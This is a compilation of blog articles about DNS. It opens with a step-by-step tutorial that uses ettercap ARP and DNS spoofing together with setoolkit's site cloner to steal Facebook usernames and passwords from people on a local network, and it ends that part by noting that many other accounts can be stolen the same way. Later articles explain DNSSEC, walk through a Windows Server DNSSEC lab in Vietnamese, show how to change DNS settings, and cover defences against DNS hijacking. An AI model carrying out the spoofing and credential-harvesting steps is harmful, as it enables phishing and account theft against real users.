I would like to briefly talk about DNS – Domain Name System – Domain name resolution system.

When you enter a web browser and type facebook.com, the DNS system will resolve it for you to an IP address so that you can communicate and transmit data on the network.

This article will be divided into 2 parts:

Part 1: Using ettercap to perform DNS Spoofing

Part 2: Using Setoolkit and Ettercap to steal facebook accounts.

Perform:

Part 1: Using ettercap to perform DNS Spoofing

First, I will ping facebook.com What is the IP address corresponding to the facebook.com domain name?

Next, go to Kali Linux and perform Enable IP Forwarding.

#echo 1 > /proc/sys/net/ipv4/ip_forward

Next edit the file etter.dns.

Use the locate etter.dns command to see where it is currently. Once done, proceed to add the following records:

facebook.com A 192.168.0.109

*.facebook.com A 192.168.0.109

With the address 192.168.0.109 is the Attacker machine IP.

Note: May be located at /usr/local/share/ettercap/etter.dns with Backtrack 5 versions

When done, save and exit :wq

Perform dns spoofing with the command

#ettercap -T -q -M arp:remote -P dns_spoof //

Then go to the client machine, re-assign the address with the command >ipconfig /renew

Now go to the PC client to access facebook.com you will see it still accesses normally. But when pinging to facebook.com, the IP reply is 192.168.0.109 – Attacker’s IP.

OK. So you have succeeded in driving data through your computer, now we will proceed to steal Facebook account.

Part 2: Using setoolkit and ettercap to perform stealing facebook accounts.

Tools used:

setoolkit: clone website, capture username/password

ettercap: Scan hosts + ARP poisoning (ARP spoofing) + DNS spoofing + Sniff (eavesdropping).

Demo video: Youtube

Instructions with pictures

Enable setoolkit

#/usr/share/set/setoolkit

Agree to terms of use Click y -> Enter

Select 1) Social-Engineering Attacks

Select 2) Website Attack Ventors

Select 3) Credential Harvester Attack Method

Select 2) Site Cloner

Enter the Attacker’s IP address: 192.168.0.109

Type the path you want to clone the website: https://www.facebook.com

When done, turn on another Terminal, type ettercap -G to enable ettercap configuration with the interface

Select Sniff->Unified sniffing

Select the port for eavesdropping: eth0

Select Hosts-> Scan for hosts

Host-> Hosts List

Choose 2 addresses to conduct eavesdropping

Implement ARP possoning (ARP spoofing)

Click select Sniff remote connections.

Into the /etc/ettercap/etter.dns Add 2 lines:

facebook.com A 192.168.0.109

*.facebook.com A 192.168.0.109

Into the Plugins->Manage the plugins

Click on dns_spoof to enable this feature

Start sniffing

On the client computer, open a web browser to facebook.com, enter username/password

setoolkit will catch this username/password

The username/password information is displayed in clear-text as above, so you already have the client’s facebook account.

Updated on September 15, 2015:

In the new version of Kali 2.0, when the clone site returns, it will be saved in the /var/www/ path, copy these files to the /var/www/html path then proceed normally:

Note: remember to change the permissions to read and write for these files:

#cd /var/www/html
#chmod 777 ./*

Includes 3 files:
– index.html : interface of facebook.com
– post.php: function to get username/password when you enter it and save it in haverster_*.txt file
– harvester_date_time.txt : save the obtained information.

In the same way you can steal many other accounts.

How to prevent DNS Spoofing:

In addition to the two ways in the article ARP spoofing is to deploy port-security and DAI, you should deploy more DHCP snooping to prevent fake DHCP levels.

P/s: As you have seen, if the attacker has entered our internal network with dark intentions, there are many tools to extract information about his company. Thus, if any employee intends to sabotage the company, it is quite difficult to investigate.

By the way, if you have any useful monitoring tools or programs, please share them with me.

Close,

1) DNS

DNS là một giao thức cho phép phân giải từ host name sang địa chỉ IP và ngược lại. Hoat động trên port 53, cấu trúc của DNS là cơ sở dữ liệu dạng cây thư mục. Bao gồm từ Top Level Domain (TLDs), Second Level Domain (SLDs), Sub Domain (Host).

DNS có 3 zone chính primary zone, secondary zone và stub zone. Dữ liệu của các zone được lưu trong một file gọi là zone file. Trong zone file chứa dữ liệu DNS, được thể hiện qua các record như SOA, A, CNAME, MX, NS, SRV.

 

2) DNSSEC

Giao thức DNS thiếu hụt tính bảo mật do không có công cụ xác thực nguồn dữ liệu được trao đổi giữa máy chủ (DNS Server) và máy trạm (Client), hoặc quá trình chuyển tiếp (Forwarder) giữa máy chủ này đến máy chủ khác trong Domain. Trước nguy cơ dữ liệu DNS có thể bị giả mạo và làm sai lệch, DNSSEC ra đời để giải quyết vấn đề này.

DNSSEC (Domain Name System Security Extensions), là một giao thức mở rộng trên nền DNS, cung cấp khả năng chứng thực (Authentication) và đảm bảo dữ liệu được toàn vẹn (Integrity) cho hệ thống DNS.

Gồm 3 mục tiêu chính :

• Sender Authentication : chứng thực dữ liệu cho quá trình gửi đi
• Data Integrity: bảo vệ toàn vẹn dữ liệu trong quá trình truyền, giúp người nhận được đảm bảo dữ liệu không bị thay đổi.
• Authenticated denial of existence: ngăn chặn kẻ tấn công, chúng phá hoại bằng cách tự động gửi xác nhận là không tồn tại dữ liệu mà Client truy vấn.

3) Ưu và nhược điểm của DNS

Giao thức DNS chống lại các loại tấn công như :

• Cache Poisoning or cache pollution : ngăn chặn cố gắng tấn công và đầu độc Cache DNS Server.
• Interference with DNS data on Secondary server : ngăn chặn attacker giả mạo làm DNS Primary Server để gửi các gói Update DNS qua cho các máy DNS Secondary Server để cập nhật.
• Data interception : ngăn chặn kẻ tấn công can thiệp vào dữ liệu, khi dữ liệu đang được gửi đi. (Prevent Spoofing)

Sau đây là đoạn video mô tả về DNS Spoofing :

DNS spoofing (giả mạo) là 1 kiểu tấn nhằm mục đích giả mạo DNS server để dùng các thông tin giả mạo trả lời lại client. Tấn công giả mạo này, kẻ tấn công sẽ cố gắng đoán xem DNS client or DNS server có gửi 1 truy vấn DNS nào không hoặc ngồi đợi 1 DNS response. Từ đó, sau khi lắng nghe thì attacker sẽ insert 1 DNS response giả mạo vào DNS server’s cache, quá trình này được gọi là cache posoining (đầu độc cache DNS server). Việc giả mạo này làm cho các máy chủ DNS server thì không có cách nào chứng thực được DNS data là hợp pháp, và sẽ dùng các thông tin này trả lời (reply) lại cho các client. Một kẻ tấn công cũng có thể set Time-to-Live (TTL) trên dữ liệu DNS giả với 1 con số lớn, vì thế DNS server sẽ cache (lưu lại) đoạn DNS bị đầu độc này với khoảng thời gian dài (nhiều tiếng hoặc nhiều ngày).

Nhược điểm của DNS là chưa giải quyết được các vấn đề như : Packet Sniffing, DDoS Attack, Phishing and Pharming.

4) Cấu trúc của DNSSEC

Thay vì hệ thống DNS có 4 phần tử chính : Delegation, Zone file management, Zone file distribution, resolving. Thì giờ đây sẽ có thêm 2 phần tử đó là Zone File Signing và Verifying để trở thành DNSSEC.

a) Đối với quá trình Zone File Signing

Zone signing là nơi DNSSEC thực hiện ký (signing) cho các zone dữ liệu và các phần tử (record) trong zone dữ liệu đó. Bao gồm 4 loại bản ghi mới và mỗi bản ghi đều có thông số TTL (Time-To-Live) :

• DNS Public Key (DNSKEY) : bằng cách dùng Public Key tạo ra DNSKEY và sử dụng DNSKEY để ký (signed) cho zone.
• DNS Private Key (RRSIG) : sử dụng để ký (signed) cho các record trong zone, bằng cách chúng sẽ dùng private key để tạo ra một chữ ký số (RRSIG) và RRSIG này sẽ được thêm vào mỗi record trong zone.
• NSEC (Next-Secure) : Authenticated denial of existence . Nếu client truy vấn 1 record trong DNS mà nó không có thì DNS server gửi trả lại là không tìm thấy record, nhưng việc này cũng cần phải được xác minh. NSEC record sẽ thực hiện nhiệm vụ này bằng cách tạo ra 1 chuỗi liên kết giữa các tài nguyên record lại với nhau. NSEC record sẽ được tạo ra và trong mỗi NSEC record đều có 1 Pointer chỉ tới NSEC record kế tiếp. NSEC record cuối cùng sẽ được trỏ tới NSEC record đầu tiên. (Như hình trên)
• DS (Delegation Signer) : mỗi child domain (child zone – tphcm.huypd.com) sẽ tạo ra một DS để gửi lên Parent Zone (Forest zone – huypd.com). DS này chứa DNSKEY của child zone đó. Dùng để thiết lập chứng thực giữa các zone trong Forest, thường dùng cho việc forwarder hoặc transfer zone.

 

b) Đối với quá trình Verifying

1) Khi client gửi truy vấn tìm kiếm địa chỉ www.tphcm.huypd.com tới Local DNS Server.

2) Local Server sẽ đi đến các Root Server để hỏi domain huypd.com và Root Server sẽ hướng dẫn Local Server đi đến trực tiếp Authoritative DNS Server của domain huypd.comcần tìm.

3) Sau đó Local DNS Server sẽ đến Authoritative DNS Server huypd.com để hỏi DNS Server tphcm.huypd.com, DNS Server huypd.com sẽ hướng dẫn Local DNS Server đi đến thẳng Authoritative DNS Server chịu trách nhiệm domain tphcm.huypd.com

4) Local DNS Server abc.com tiếp tục đến DNS Server tphcm.huypd.com để hỏi địa chỉwww.tphcm.huypd.com

5) Lúc này DNS Server sẽ kiểm tra trong zone và thấy có record www, DNS Server sẽ trả lời lại Local DNS Server abc.com bằng gói tin DNS Response bao gồm địa chỉ IP, DNSKEY, RRSIG.

6) Sau khi Local DNS Server nhận được gói DNS Response, lúc này nó cần phải kiểm tra xem dữ liệu DNS Response có phải đúng DNS Server tphcm.huypd.com gửi hay không ? Bằng cách đi lên Parent zone (tức DNS Server huypd.com) để xin số Delegation Signer (DS).

7) DNS Server huypd.com sẽ gửi số DS về cho Local DNS Server abc.com.

8) Sau khi nhận được DS, Local DNS Server abc.com lấy số DNSKEY trong gói tin DNS Response đem đi Hash với DS. Và ra một giá trị Hash 1.

9) Tiếp tục, Local DNS Server lấy DNSKEY và RRSIG đem đi Hash và ra một giá trị Hash 2

10) Lấy HASH 1 so sánh với HASH 2 xem có bằng nhau không, nếu bằng nhau thì dữ liệu là chính xác. Sau đó Local DNS Server sẽ xét các thông tin trong RRSIG (bao gồm thời gian RRSIG, Time To Live).

11) Sau khi đã xác minh, lúc này dữ liệu đã hoàn toàn chính xác, Local DNS Server trả về cho Client truy vấn.

Tham khảo video Verifying :

5) Các thành phần khác của DNSSEC

• Trust anchor : Trust anchor là DNSKEY và DS được cấu hình bằng tay và được ép vào 1 zone cụ thể nào đó. Nếu DNS server đang chạy trên Domain controller, trust anchors sẽ được lưu ở partition trong Active Directory Domain Services (AD DS) và có thể được replicate (nhân) sang tất cả các DC/ADC (Authoritative DNS Server) khác trong domain. Còn nếu trên một máy chủ DNS độc lập, trust anchor sẽ được lưu và đặt tên file là TrustAnchor.dns . Một DNS server chạy trên Windows Server 2012 sẽ cho phép người quản trị cấu hình trust anchor trong DNS Manager (phần Trust Point). Lưu ý : các máy DNS Server nào là Non-authoritative DNS Server thì lúc Re-sign hoặc Re-new DNSKEY (DS), bạn phải update bằng tay lại cho chúng.
• Key rollover :  tạo key, lưu trữ key,gia hạn key, làm mới key được Key rollover quản lý. Trong Windows Server 2012, Active Directory sẽ được lưu trữ và làm nhiệm vụ replicate, và tự động rollover.
• DNS Aware : để có thể dùng tính năng DNSSEC, Client và Server phải kích hoạt tính năng truy vấn DNS bằng giao thức DNSSEC. Thường các Client hỗ trợ DNSSEC (Windows 7/8/8.1), đối với Windows Server là WS 2008 R2/2012/2012 R2.
• Key Master : Public Key Và Private Key là do Key Master tạo ra dựa trên các thuật toán Cryptographic Algorithm. Mỗi một zone sẽ được một Key Master quản lý. Key master có thể nằm bất kỳ máy DC/ADC (Authoritative DNS Server) trong domain.

 

A) Giới thiệu

Lab “Cấu hình và kiểm tra DNSSEC”. Bài lab bao gồm các bước cấu hình và kiểm tra tính năng DNSSEC, thực hiện sign – unsign zone, kiểm tra Trust Anchors, cấu hình DNSKEY, RRSIG và thiết lập Key Master cho zone.

Mô tả :

• Máy DC (172.1.1.1/24) : Nâng cấp DC với domain “huypd.com”. Cấu hình DNSSEC, tạo một zone có tên là “dnssec.huypd.com”, tạo một record A cho host “dc.dnssec.huypd.com”
• Máy ADC (172.1.1.2/24) : Join domain, nâng cấp lên thành Additional DC. Cấu hình địa chỉ IP và DNS như trong hình.
• Máy DNS (172.1.1.3/24) : Join domain, cài đặt role DNS, đặt địa chỉ IP và DNS như trong hình, cấu hình forwarder cho DNS.
• Máy Client (172.1.1.4/24) : Join domain, đặt địa chỉ IP + DNS như hình trên.

B) Thực hiện

1) Prepare and configure requirement

• Máy DC : đặt IP, DNS trỏ về chính mình. Thực hiện nâng cấp domain tại bài viết này, sau đó tạo zone “dnssec.huypd.com”, vào zone dnssec.huypd.com tạo một record A “dc.dnssec.huypd.com”

• Máy ADC : đặt IP, DNS. Thực hiện nâng cấp Additional Domain Controller

• Máy DNS : đặt IP, DNS (trong hình). Cài đặt role DNS và cấu hình Forwarder

• Máy Client Computer : join domain, đặt IP + DNS như trong hình

2) Query an unsigned zone without DNSSEC validation required (thực hiện truy vấn zone dnssec.huypd.com ở cơ chế DNS thông thường)

• Máy Client : mở Windows Powershell –> gõ “ resolve-dnsname dc.dnssec.huypd.com –server dns –dnssecok”. Ta thấy lúc này không có thông tin gì về RRSIG, TTL, thời gian signed và expiration….

3) Sign zone dnssec.huypd.com on DC and distribute trust anchors (Thực hiện ký zone dnssec.huypd.com và phân phối Trust anchors – DNSKEY cho máy DNS và ADC)

• Máy DC vào DNS –> Chuột phải zone “dnssec.huypd.com” và chọn DNSSEC –> Sign the zone

• Chọn “Use default settings to sign the zone” : theo tùy chọn mặc định của hệ thống

• Tiếp theo ta phân phối trust anchor cho máy DNS. Bằng cách trên máy DC, vào đường dẫn “C:\Windows\System32”. Tìm thư mục “dns”

• Thực hiện share thư mục này với quyền Full Control

• Qua máy DNS, thực hiện Import DNSKEY vào –> Chuột phải Trust point, chọn Import –> DNSKEY

• Trỏ tới thư mục share –> chọn “ketset-dnssec.huypd.com”

• Lúc này ta đã import 2 DNSKEY vào, 1 key Active và 1 key Standby

• Máy DNS, mở PowerShell, thực hiện 2 lệnh “resolve-dnsname –namednssec.huypd.com.trustanchors –type dnskey-server dns” và lệnh “ get-dnsservertrustanchor dnssec.huypd.com” để kiểm tra xem key đã import chưa.

• Thực hiện distribute Trust Anchors (tức phân phối DNSKEY) cho máy ADC. Trên máy DC, chuột phải vào zone và chọn DNSSEC –> Properties

• Qua thẻ “Trust Anchor” : check vào ô đầu tiên, để thực hiện phân phối cho tất cả các máy DC/ADC (Authoritative DNS Server) trong domain

• Kiểm tra và ta thấy lúc này đã replicate qua cho máy ADC

4) Query a signed zone without DNSSEC validation required (Client chưa cấu hình tính năng DNSSEC, kiểm tra DNSSEC bằng cách dùng lệnh truy vấn thửdnssec.huypd.com)

• Máy Client gõ “resolve-dnsname dc.dnssec.huypd.com –server dns –dnssecok” . Lệnh này để test thử tính năng truy vấn bằng DNSSEC. Lúc này ta đã thấy các thông số của DNSSEC
• Lệnh “get-dnsclientnrptpolicy” là lệnh kiểm tra máy client có enable tính năng DNSSEC hay chưa.

5) Query a signed zone with DNSSEC validation required (Thực hiện enable tính năng DNSSEC cho các Client bằng Policy, sau đó kiểm tra lại việc truy vấn)

• Máy DC, vào Group Policy –> Cấu hình chính sách “Default Domain Policy” –> Chuột phải chọn “Edit”

• Chọn “Computer Configuration –> Policies –> Windows Settings –> Name Resolution Table” –> Stick vào 2 dấu “Enable DNSSEC in the rule” và “Require DNS clients to check that name and address data….”. Trên cùng chọn Suffix và khai báo zone DNSSEC vào “dnssec.huypd.com” –> Cuối cùng là chọn “Create” và “Apply”

• Máy DC, thực hiện “gpupdate /force” và “get-dnsclientnrptpolicy” để xem thông số cấu hình tính năng DNSSEC.

• Máy Client cũng thực hiện “gpupdate /force” và  lệnh “get-dnsclientnrptpolicy”. Thông số “DNSSecValidationRequired” mà là True thì lúc này tất cả các client trong domain đều áp dụng tính năng truy vấn bằng DNSSEC.

6) Un-sign the zone and then re-sign the zone with custom parameters (Thực hiện Un-Sign và Re-sign lại zone)

• Chuột phải zone –> DNSSEC chọn Unsign the zone

• Chọn “Customize zone signing parameters” để ta tiến hành cấu hình thông số cho việc Sign zone

• Chọn Key Master cho zone

• Tiếp theo ta sẽ cấu hình KSK, KSK là nơi quản lý và tạo ra các DNSKEY.

• Remove Key đang sẵn có, Add một key mới với thông số : thuật mã hóa RSA/SHA-512 và số bits là 2048. Nhấn OK

• Tiếp tục với ZKS, ZKS là nơi quản lý và tạo ra Private Key – RRSIG.

• Remove Key đang sẵn có, Add một key mới với thông số : thuật mã hóa RSA/SHA-512 và số bits là 1024. Nhấn OK

• Cấu hình NSEC, có thể để mặc định

• Enable tính năng tự động distribute trust anchor cho các máy AD/ADC khác trong domain

• Lúc này ta đã có các Record DNSSEC

• Key lúc này là RSA/SHA-512

• Thực hiện “get-dnsservertrustanchor –name dnssec.huypd.com –computer dns” . Ta thấy máy DNS vẫn dùng Trust Anchor cũ.

• Do ta Re-sign lại nên máy DNS sẽ không tự động cập nhật Trust Anchor mới được, và lúc này nó vẫn dùng Trust Anchor cũ. Ta cần phải cấu hình bằng tay lại. Ta thực hiện 2 lệnh bên dưới để xóa Trust Anchor cũ, “remove-dnsservertrustanchor” và “remove-dnsserverzone”

• Thực hiện import key mới vào

• Lúc này ta đã có Trust Anchor mới nhất

7) Transfer the Key Master role for dnssec.huypd.com to ADC (Thực hiện chuyển Key Master của zone sang máy ADC)

• Trên máy DC, chuột phải zone dnssec.huypd.com –> DNSSEC –> Properties

• Chọn thẻ Key Master –> Sau đó chọn “Use the following DNS Server as the Key Master”, chọn máy ADC.

If you do not know how to change DNS Server on Windows, Mac and Android computers, please refer to the steps below. I will guide you step by step for you to apply right on your device.

Change DNS on Windows computers

Step 1: Go to the Start Menu and type in the search box “Network and Sharing Center” and press Enter.

Step 2: A window will appear and here you will probably see a lot of current connections if you have a virtual machine installed, etc.

Step 4: Right-click the Connection you are using → Properties → Internet Version Protocol (TCP/IPv4) → Properties.

Step 5: Tick the box “Use the following DNS server”. Fill in 2 DNS Server addresses and click OK to save.

Change DNS on MAC computer

Step 1: Launch Spotlight by pressing Cmd + Space and typing in Network.

Step 2: There will be a blue dot next to the connections you are using. Click “Advanced Settings” and select “DNS” in the Connection Properties and press the + sign.

Step 3: Fill in the DNS Server that you need to change. Then click OK to save the settings.

How to change DNS on Android

Step 1: Open the Wifi management menu on your device.

Step 2: Touch and hold the Wifi network you are connecting to and select “Modify Network”.

Step 3: Tick the box “Show hidden options” then select “Static IP Address”.

Step 4: Enter the DNS Server address in the DNS1 and DNS2 input boxes. Finally, tap the OK button to save.

So you can see that changing DNS on devices is quite simple, isn’t it. This way you can access some blocked websites as well as resolve domains faster for optimal surfing speed.

Good luck!

Cloudflare just launched its DNS service for all customers on Lie day (1/4) this year. This DNS service promises to speed up your internet connection to help protect internet privacy. This service is using the address https://1.1.1.1 is a real and pubic IP address for all users.

With the fastest response time, DNS cloudflare is currently the fastest service to help you access Webstie in the world.

What is DNS?

DNS (Domain Name System) plays an important role in the resolution of IP addresses into domain names. Normally, websites have a fixed IP address, in the old days to access websites, people often had to remember each IP of each web address they wanted to access. Memorizing an IP address is difficult, because it’s full of numbers. DNS was born to overcome that problem, it helps to convert the IP address into a specific domain name. Makes it easier to remember Web addresses.

DNS is an essential part of the internet, but DNS servers provided by ISPs are often slow and unreliable. Your ISP or any Wi-Fi network you connect to may use DNS servers to identify all visited websites, however no one can guarantee the safety and security of your privacy. user.

What’s New in Cloudflare DNS?

Cloudflare DNS provides support for both DNS-over-TLS and DNS-over-HTTPS . Cloudflare’s DNS currently has a global response time of 14ms, compared to 20ms for OpenDNS and 34ms for Google’s DNS, so it’s the fastest DNS solution for all of the time.

How to adjust DNS to 1.1.1.1 to speed up web surfing

How to adjust DNS on Windows 10

First you enter Settings -> Select Network and Internet

Select Change Adapter options

Right click (right click) go to the network card to adjust DNS

Double Click into the Internet Protocol Version 4 (TCP/IPv4)

In the tab General, You can edit the image below

Check check box Use the following DNS server address:

• Preferred DNS server: 1.1.1.1
• Alternate DNS server: 1.0.0.1

For IPv6 only, you use this address:

• 2606:4700:4700::1111
• 2606:4700:4700::1001

Then click OK to finish.

How to adjust DNS with CMD for all Windows

With the way to adjust DNS with CMD, you can apply it to any Windows from Windows 7 to Windows 10.

Step 1: You need to open CMD with Administrator rights.

Step 2: Type the command below to display the names of all network cards available on the computer

wmic nic get NetConnectionID

Step 3: Enter the command below to start setting up the network card, press Enter

netsh

Step 4: Type the following command to set up the primary DNS IP address and press Enter :

interface ip set dns name="ADAPTER-NAME" source="static" address="X.X.X.X"

In this command, remember to change ADAPTER-NAME with the name of the network card you queried in Step 2 And change XXXX with the DNS server address you want to use.

Eg: I want to change the network card named WIFI with DNS is 1.1.1.1 of then I would use the following command:

interface ip set dns name="Wi-Fi" source="static" address="1.1.1.1"

Step 5: Type the following command to set up a backup DNS

interface ip add dns name="ADAPTER-NAME" addr="X.X.X.X" index=2

Eg: I want to change the network card named WIFI with DNS is 1.0.0.1 of then I would use the following command:

interface ip add dns name="Wi-Fi" addr="1.0.0.1" index=2

After completing the DNS adjustment commands, we will come out like this:

To check if the DNS change is correct, press the command exit to escape netshand type the command:

ipconfig /all 

Scroll down to the adjusted network card name above, and look at the DNS section.

With the article Instructions to adjust DNS to 1.1.1.1 to speed up web surfing. AnonyViet wishes you to have more knowledge about DNS. You can change DNS on Windows in two ways: using the interface and using the command. With Cloudflare’s new free DNS service, you’ll get a significant speed boost when accessing the Internet.

The Domain Name System (DNS) is one of the essential components that make a Web site present on the Internet. Web applications and cloud services depend on it for high performance and online validity. A vulnerability in DNS (Hijacking DNS) can lead to loss of sensitive data, exploitation of web users, and website hijacking by attackers.

Failure to monitor your domains for malicious activity is the basis for hackers to launch a series of attacks on your DNS. In this article, we will discuss DNS intrusion in detail and how you can prevent it.

What is DNS Hijacking?

The Domain Name System (DNS) is a directory of domain names that are matched to their respective IP addresses. It’s like a phone book, where you store someone’s number and name and simply enter the name to retrieve their number.

Web browsers and devices interact with the internet through Internet Protocol (IP) addresses with numbers like 305.0.2.11. Domains like exmaple.com are created for websites. Mistakenly avoiding users remembering complicated IP addresses, DNS will synchronize the domain name with the appropriate IP address to allow users to access online resources through the domain name while the browser can still continue to access the Internet. Continue to use a site-friendly IP address.

DNS hijacking, also known as DNS redirection (DNS redirection), is an activity where cybercriminals damage the resolving ability of domain name servers and redirect traffic to malicious domain name systems. It is common in the absence of suitable security methods to protect your web application.

Why do attackers hijack DNS?

Attackers use DNS hijacking to do what we call Pharming. Here, hackers display unnecessary ads just to generate revenue on views and clicks. They also use it to redirect visitors to a cloned version of the current website and steal your data.

Interestingly, cybercriminals aren’t the only ones with DNS hijacking. Some Internet Service Providers (ISPs) use this technique to throttle users’ DNS requests to collect their data for business purposes.

Some resellers also perform a type of DNS hijacking to censor some content or redirect visitors to an alternative website. This issue is controversial because it exposes users to attacks XSS on many websites.

How does DNS Hijacking attack work?

To perform a DNS attack, an attacker would have to take control of a router (Router, Modem, Firewall, etc.), break into DNS communication, or install malware on a person’s computer system. use.

While you may not be the one managing your DNS, the third-party company that does it for you could be hacked without your knowledge. If this happens, an attacker can hijack all your web traffic.

For example, let’s say you register your website with a domain registrar like example.com. The registrar allows you to choose an available domain name. The domain name sold to you will be registered with an IP address.

Your unique IP address is kept in DNS A records. A records point your domain name to your IP address. Your domain registrar’s name servers can be hacked at any time, especially if that company’s security isn’t too high. If the nameservers are compromised, attackers have the ability to change your unique IP address to another IP address. When your domain is fetched from the DNS records, it points to the attacker’s own server instead of yours.

Also, when someone enters your domain name in their browser, it takes them to the attacker’s website. When your visitors land on the attacker’s website, they will see a copy of your site. But what they don’t know, it is under the control of hackers, who can steal their login credentials and access their accounts.

Types of DNS Hijacking Attacks

Internet users, web applications, and software all depend on DNS to function online. Attackers know this. So they look for security holes in DNS to launch attacks.

Cybercriminals use various techniques to gain unauthorized access to DNS. Common forms of attack include:

1. Local DNS Hijacking

To perform a local DNS intrusion, an attacker installs malware on the user’s computer and changes the local DNS settings. This will lead users to a fake website without their knowledge.

2. Hijacking DNS Router

A DNS router is a hardware device used by domain name service providers to match people’s domains to their respective IP addresses. Some routers struggle with firmware vulnerabilities and have weak default passwords. These flaws leave the router vulnerable to a network attack, where hackers can take over the router and reconfigure DNS settings.

The attacker redirects the visitor to a malicious website and blocks the main website from accessing the main website after they are sure to have succeeded in overriding the website’s DNS router.

3. DNS Hijacking man-in-the-middle

In a man-in-the-middle attack, cybercriminals insert themselves into the communication channel between the user and the DNS server to eavesdrop or change information.

Attackers modify DNS settings, enter their IP addresses, and redirect users to their malware-filled website.

4. DNS Server Attack

The attackers will attack the DNS servers and change the configuration of the targeted websites so that their IP addresses will be pointed to the malicious websites. When a user sends a request to the target website, they are redirected to a phishing site where they are vulnerable.

How to prevent DNS Hijacking

As you work to increase traffic to your website, you must prioritize DNS security to ensure that any traffic counts.

Here are some ways to secure your web server from DNS attack.

1. Check the Router’s DNS Settings

Routers are very vulnerable and attackers will take advantage of this weakness to exploit victims. To avoid danger, you need to verify and check your router’s DNS settings. You should also update its password regularly.

2. Implement Registry Lock in your domain account

Another way to prevent DNS hijacking is to use a registry key (Registry Lock) to combat cyber threats.

Registry Lock is a service provided by the domain registrar to protect domain names from unauthorized updates, transfers, and deletions. If your hosting provider doesn’t offer this service, you need to find one that offers it.

Make sure you enable two-factor authentication on your domain account as an extra layer of security. Tighten security even further by launching the Domain Name System Security (DNSSE) extension in your website’s control panel. It enhances DNS validation while preventing DNS redirects, man-in-the-middle attacks, and cache poisoning.

3. Install an anti-malware program

DNS intruders also target user credentials. Make sure you install anti-virus software on your computer to detect any malicious attempts by cybercriminals to steal your credentials. Use only secured virtual private networks to reduce the risk of your data being exposed.

To further secure your logins, create strong passwords and change them regularly.